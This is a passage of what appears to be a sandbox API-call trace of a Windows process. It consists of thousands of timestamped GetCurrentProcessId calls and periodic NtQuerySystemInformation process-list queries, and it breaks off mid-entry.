[0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.033] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.034] GetCurrentProcessId () returned 0x10c0 [0297.035] GetCurrentProcessId () returned 0x10c0 [0297.035] GetCurrentProcessId () returned 0x10c0 [0297.035] GetCurrentProcessId () returned 0x10c0 [0297.035] GetCurrentProcessId () returned 0x10c0 [0297.035] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.036] GetCurrentProcessId () returned 0x10c0 [0297.037] GetCurrentProcessId () returned 0x10c0 [0297.037] GetCurrentProcessId () returned 0x10c0 [0297.610] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.620] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.621] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.622] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.623] GetCurrentProcessId () returned 0x10c0 [0297.624] GetCurrentProcessId () returned 0x10c0 [0297.624] GetCurrentProcessId () returned 0x10c0 [0297.624] GetCurrentProcessId () returned 0x10c0 [0297.624] GetCurrentProcessId () returned 0x10c0 [0298.192] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.199] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.200] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.201] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.202] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.203] GetCurrentProcessId () returned 0x10c0 [0298.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.830] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.831] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.832] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.833] GetCurrentProcessId () returned 0x10c0 [0298.834] GetCurrentProcessId () returned 0x10c0 [0298.834] GetCurrentProcessId () returned 0x10c0 [0299.392] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.393] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.394] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.395] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.396] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.397] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.398] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.399] GetCurrentProcessId () returned 0x10c0 [0299.945] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1df38) returned 0x0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.955] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.956] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 0x10c0 [0299.957] GetCurrentProcessId () returned 